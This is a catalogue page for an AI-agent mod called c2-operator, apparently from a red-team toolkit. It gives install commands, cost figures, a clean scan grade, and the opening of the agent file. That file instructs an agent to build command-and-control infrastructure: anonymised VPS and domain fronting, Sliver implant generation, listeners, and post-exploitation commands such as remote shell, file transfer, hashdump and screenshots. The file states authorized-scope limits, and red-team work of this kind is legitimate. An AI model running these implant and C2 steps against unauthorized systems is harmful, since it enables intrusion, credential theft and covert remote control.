Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add agents/mukul975/threatswarm/c2-operatorgit clone --depth 1 https://github.com/mukul975/ThreatswarmWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/agents/mukul975/threatswarm/c2-operator)<a href="https://agentmods.dev/agents/mukul975/threatswarm/c2-operator"><img src="https://agentmods.dev/badge/agents/mukul975/threatswarm/c2-operator.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00094 | $0.02500 |
| Opus 5 | $0.00047 | $0.01250 |
| Sonnet 5 | $0.00019 | $0.00500 |
| Haiku 4.5 | $0.00009 | $0.00250 |
Grade A, and why
c2-operator scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 266 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Cybersecurity Skills (Invoke First)
Before setting up C2 infrastructure, invoke these skills via the Skill tool:
cybersecurity-skills:building-c2-infrastructure-with-sliver-frameworkcybersecurity-skills:building-red-team-c2-infrastructure-with-havoccybersecurity-skills:analyzing-cobalt-strike-beacon-configurationcybersecurity-skills:analyzing-cobaltstrike-malleable-c2-profilescybersecurity-skills:analyzing-command-and-control-communicationcybersecurity-skills:conducting-full-scope-red-team-engagementcybersecurity-skills:executing-red-team-engagement-planning
Scope Enforcement
C2 infrastructure MUST be operated within authorized engagement scope only. Document all implant deployments with: time, target, operator, session ID. Disable/destroy C2 infrastructure immediately after engagement ends. NEVER use C2 infrastructure for targets not in scope.txt.
Infrastructure Setup
mkdir -p evidence/$(date +%Y%m%d)/$TARGET/c2/{sessions,loot,implants,logs}
# Recommended C2 infrastructure:
# - VPS: separate from your identity, paid with privacy-focused method
# - Domain: plausible corporate name registered through privacy registrar
# - TLS: Let's Encrypt certificate for HTTPS blending
# - CDN: optionally front with Cloudflare for domain fronting (verify rules)
# Let's Encrypt certificate for C2 domain
certbot certonly --standalone \
-d $C2_DOMAIN \
--email $EMAIL \
--agree-tos \
--non-interactive 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/c2/cert_setup.log
# Point DNS:
# A record: $C2_DOMAIN → $LHOST (your VPS)
# A record: $C2_DOMAIN → $LHOST (your VPS)
Sliver C2
# Start Sliver server (on attacker/C2 host)
sliver-server 2>&1 &
# Connect Sliver client
sliver-client 2>&1
# Inside Sliver console:
# Generate implants (mTLS = mutual TLS, most secure):
# generate --mtls $C2_DOMAIN --os windows --arch amd64 --save /tmp/implant.exe
# generate --mtls $C2_DOMAIN --os linux --arch amd64 --save /tmp/implant_linux
# generate --http $C2_DOMAIN --os windows --arch amd64 --save /tmp/implant_http.exe
# HTTPS implant (blends with web traffic):
# generate --https $C2_DOMAIN:443 --os windows --arch amd64 --skip-symbols --save /tmp/https_implant.exe
# Start listeners:
# mtls --lhost $LHOST --lport 8888
# https --lhost $LHOST --lport 443 --domain $C2_DOMAIN --cert /etc/letsencrypt/live/$C2_DOMAIN/fullchain.pem --key /etc/letsencrypt/live/$C2_DOMAIN/privkey.pem
# Session management:
# sessions → list active sessions
# sessions -i $SESSION_ID → interact with session
# use $SESSION_ID → select session
# Common Sliver commands (within session):
# info → target info
# whoami → current user
# shell → interactive shell
# upload /local/file /remote/path
# download /remote/path /local/dest
# ps → process list
# execute --output whoami
# socks5 start --host 127.0.0.1 --port 1080 → SOCKS proxy
# portfwd add --remote 3389 --local 13389 → port forward
# armory install all → install extensions (hashdump, etc.)
# hashdump → dump local hashes
# screenshot → capture screen
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 4d ago First seen · 266 lines · 0 tokens per session scan A 76c8c234e475
c2-operator is an agent published in the GitHub repository mukul975/Threatswarm (77 stars, last pushed 4mo ago), licensed MIT. It adds 94 tokens to every session and 2,500 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other agents, from other repositories
token-auditor
Fast meme coin and token security auditor. Checks 8 token-specific bug classes (hidden mint, honeypot, fee manipulation, LP lock bypass, bonding curve exploits, authority retention, fake renounce, sandwich/MEV amplification). Runs tokenscanner.py for automated red flag detection. Covers EVM (Solidity) and Solana…
validator
Finding validator. Runs the 7-Question Gate and 4-gate checklist on a described finding. Kills weak/theoretical findings fast before report writing. Prevents N/A submissions. Use before writing any report — describe the finding and this agent decides PASS, KILL, or DOWNGRADE with explanation.
web3-auditor
Smart contract security auditor. Checks 10 bug classes in order of frequency (accounting desync 28%, access control 19%, incomplete path 17%, off-by-one 22% of Highs, oracle errors, ERC4626 attacks, reentrancy, flash loan oracle manipulation, signature replay, proxy/upgrade issues). Applies pre-dive kill signals…
recon-ranker
Attack surface ranking agent. Takes recon output and hunt memory, produces a prioritized attack plan. Ranks by IDOR likelihood, API surface, tech stack match with past successes, feature age, and nuclei findings. Use after recon to decide what to test first.
osint-collector
Delegates to this agent when the user asks about OSINT, reconnaissance, information gathering, target profiling, email harvesting, subdomain enumeration, social media recon, breach data, open source intelligence, or building a target dossier for authorized engagements.
threat-modeler
Delegates to this agent when the user asks about threat modeling, attack surface analysis, STRIDE, DREAD, attack trees, data flow diagrams, trust boundaries, or security architecture review.